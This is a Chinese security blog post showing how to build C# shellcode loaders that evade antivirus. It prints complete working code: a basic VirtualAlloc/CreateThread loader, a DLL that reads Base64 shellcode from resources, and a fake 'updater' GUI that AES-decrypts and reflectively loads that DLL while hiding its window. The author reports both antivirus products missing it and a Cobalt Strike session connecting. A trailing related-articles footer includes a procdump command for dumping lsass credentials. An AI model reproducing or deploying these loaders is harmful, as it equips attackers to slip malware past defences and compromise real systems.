.NET简单分离免杀加载Shellcode

VSole2022-08-11 14:11:28

传统C#加载Shellcode

using System;using System.Collections.Generic;using System.Linq;using System.Runtime.InteropServices;using System.Text;
namespace TestShellCode{    internal class Program    {        static void Main(string[] args)        {            byte[] shellcode = {shellcode};            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);            IntPtr hThread = IntPtr.Zero;            UInt32 threadId = 0;            IntPtr pinfo = IntPtr.Zero;            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);            WaitForSingleObject(hThread, 0xFFFFFFFF);        }
        private static UInt32 MEM_COMMIT = 0x1000;        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;        [DllImport("kernel32")]        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,        UInt32 size, UInt32 flAllocationType, UInt32 flProtect);        [DllImport("kernel32")]        private static extern bool VirtualFree(IntPtr lpAddress,        UInt32 dwSize, UInt32 dwFreeType);        [DllImport("kernel32")]        private static extern IntPtr CreateThread(        UInt32 lpThreadAttributes,        UInt32 dwStackSize,        UInt32 lpStartAddress,        IntPtr param,        UInt32 dwCreationFlags,        ref UInt32 lpThreadId);        [DllImport("kernel32")]        private static extern bool CloseHandle(IntPtr handle);        [DllImport("kernel32")]        private static extern UInt32 WaitForSingleObject(        IntPtr hHandle,        UInt32 dwMilliseconds);        [DllImport("kernel32")]        private static extern IntPtr GetModuleHandle(        string moduleName);        [DllImport("kernel32")]        private static extern UInt32 GetProcAddress(        IntPtr hModule,        string procName);        [DllImport("kernel32")]        private static extern UInt32 LoadLibrary(        string lpFileName);        [DllImport("kernel32")]        private static extern UInt32 GetLastError();
    }
}

这里我们shellcode生成的32位的,所以.net编译也选择编译生成x86的exe,编译完成,可以cs正常上线。

杀毒测试,两款杀毒软件都报毒。

免杀思路

1、 简单免杀

将shellcode采用aes、base64等方式进行加密。

2、 分离shell

将shellcode进行aes、base64等方式编码和加密后在存放到资源文件中,程序运行后从资源文件中加载shellcode。

3、 分离shellcode加载器

将shellcode进行aes、base64等方式编码和加密后在存放到资源文件中,程序运行后从资源文件中加载shellcode,同时将此功能封装为dll程序。

4、 采取类似冰蝎动态Assembly加载方式加载dll程序

免杀操作

1、 创建shellcode加载器,生成dll。

首先将shell进行Base64编码存放在资源文件config.txt文件中。注意此资源文件可放在外部exe加载器中(namespace需要一致)。

using System;using System.Collections.Generic;using System.Linq;using System.Reflection;using System.Resources;using System.Runtime.InteropServices;using System.Text;using System.Threading;
namespace bypass360{    public class Loader    {        public override bool Equals(object obj)        {            Thread t = new Thread(test);            t.Start();            return true;
        }        public void test()        {
            Assembly myAssem = Assembly.GetEntryAssembly();            ResourceManager rm = new ResourceManager("bypass360.Properties.Resources", myAssem);//资源文件中读取shellcode加载            string config = rm.GetString("config32");            byte[] shellcode = Convert.FromBase64String(config);            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);            Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);            IntPtr hThread = IntPtr.Zero;            UInt32 threadId = 0;            IntPtr pinfo = IntPtr.Zero;            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);            WaitForSingleObject(hThread, 0xFFFFFFFF);        }
        private static UInt32 MEM_COMMIT = 0x1000;        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;        [DllImport("kernel32")]        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,        UInt32 size, UInt32 flAllocationType, UInt32 flProtect);        [DllImport("kernel32")]        private static extern bool VirtualFree(IntPtr lpAddress,        UInt32 dwSize, UInt32 dwFreeType);        [DllImport("kernel32")]        private static extern IntPtr CreateThread(        UInt32 lpThreadAttributes,        UInt32 dwStackSize,        UInt32 lpStartAddress,        IntPtr param,        UInt32 dwCreationFlags,        ref UInt32 lpThreadId);        [DllImport("kernel32")]        private static extern bool CloseHandle(IntPtr handle);        [DllImport("kernel32")]        private static extern UInt32 WaitForSingleObject(        IntPtr hHandle,        UInt32 dwMilliseconds);        [DllImport("kernel32")]        private static extern IntPtr GetModuleHandle(        string moduleName);        [DllImport("kernel32")]        private static extern UInt32 GetProcAddress(        IntPtr hModule,        string procName);        [DllImport("kernel32")]        private static extern UInt32 LoadLibrary(        string lpFileName);        [DllImport("kernel32")]        private static extern UInt32 GetLastError();
    }}

编译完成shellcode加载器,一个已经过了,另一个还是报毒。

继续分离动态加载,将Loader加载器aes加密生成Base64编码的文件,存放在资源文件中。

创建一个外部加载器,这里我模拟的是一个更新程序,创建了一个winform项目,一个进度条自动加载几秒后隐藏窗体,同时后台冰蝎动态Assembly加

载方式从资源文件中加载加密好的Loader的dll程序,并实例化对应的加载器类,调用Equals加载shellcode。

using System;using System.Windows.Forms;using System.Runtime.InteropServices;using System.Resources;using System.Reflection;using System.Threading;using System.IO;using System.Security.Cryptography;using System.Text;
namespace bypass360{    public partial class Form1 : Form    {        public Form1()        {            InitializeComponent();        }        private void Form1_Shown(object sender, EventArgs e)        {            this.timer1.Start();            test();
         }        public void test()        {            //从资源文件中读取加密shellcode Loader,加载shellcode            Assembly myAssem = Assembly.GetEntryAssembly();            ResourceManager rm = new ResourceManager("bypass360.Properties.Resources", myAssem);            string config = rm.GetString("dll32");            //Base64解码            byte[] data = Convert.FromBase64String(config);            //Aes解密还原程序集            byte[] key = Encoding.Default.GetBytes("1234567887654321");            byte[] cdata = new RijndaelManaged().CreateDecryptor(key, key).TransformFinalBlock(data, 0, data.Length);            //Assembly动态加载程序集并实例化加载器调用Equals方法执行Shellcode            Assembly assembly = typeof(Environment).Assembly;            Assembly.Load(cdata).CreateInstance("bypass360.Loader").Equals("");
        }
        private void button1_Click(object sender, EventArgs e)        {            this.Hide();        }        int p = 0;        private void timer1_Tick(object sender, EventArgs e)        {            p++;            if (p >= 3) {                this.Hide();            }        }    }
}

由于这里shellcode是32位所以Loader dll和当前的exe加载器我们都编译成x86,32位程序,如果是64位shellcode就全编译为64位程序。

编译后测试,两款杀毒软件均未检出。

运行测试,成功上线,无拦截:

不完美的事,就是在webshell下面执行时,360主动防护对于后台进程执行程序管理较为严格,只能采取其他措施在webshell下运行了。

防御方式

1、建议杀毒软件更新检测机制,对关键函数执行加强检测。

2、对于用户来说,不能抱着部署了杀软软件就“万无一失”的心态开展防护工作,还是要通过APT、WAF、日志分析等其他综合手段开展防护工作

免杀extern
本作品采用《CC 协议》,转载必须注明作者和本文链接
0X01起源在攻防演练中通过运行恶意代码连接C2是最常用的手段,但是由于对抗程度的提升。以360、天擎为代表的杀毒软件针对信任链的检测,已经变得愈来愈成熟。这里我们可以理解为,攻击者通过利用"白加黑"这种攻击方法。当攻击者通过社工钓鱼的手段,使得目标下载恶意的文件到目标自己的计算机上,并点击运行白文件时,该文件会在运行时执行恶意DLL。
知识汇总
2021-08-18 08:21:58
静态查杀(邮件类查杀一般是静态的)-->一般根据特征码识别到-->对文件进行特征匹配的思路
杀毒测试,两款杀毒软件都报毒。思路1、 简单将shellcode采用aes、base64等方式进行加密。注意此资源文件可放在外部exe加载器中。
C#内存加载实战
2021-12-03 07:37:13
DemoExe代码如下:using System;
PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession,这样一个一个去把导出函数写出。不要去直接include系统文件amsi,这样他那个文件里本来就有相关函数,这样会起冲突,直接把有些结构体粘过来就好了。
最近无意间发现了cpl文件,之前对该类型的文件了解几乎为零,由于触及到我的知识盲区,于是决定探究。
因此参考了《黑客攻防》中的代码对DLL型壳编写的结构进行了一次归纳整理,并附上相应代码解析。
现阶段蓝队防守不单单仅限制于传统的ip封禁以及高交互蜜罐的监控以及简单的身份溯源,红队攻击信息上报以及攻击方式多样化,包括参与攻击的人员不单单限制于上报人员,所以对于蓝队来讲溯源难度要匹配红队上报信息也是存在一定的难度,所以在攻防演练中蓝队的得分难度相对来说更难一点儿。
所以可以通过它传回lsass.dmp本地提取hashprocdump64.exe -accepteula -ma lsass.exe lsass.dmp 执行该指令,获取到lsass.dmp
所以可以通过它传回lsass.dmp本地提取hashprocdump64.exe -accepteula -ma lsass.exe lsass.dmp 执行该指令,获取到lsass.dmp
VSole
网络安全专家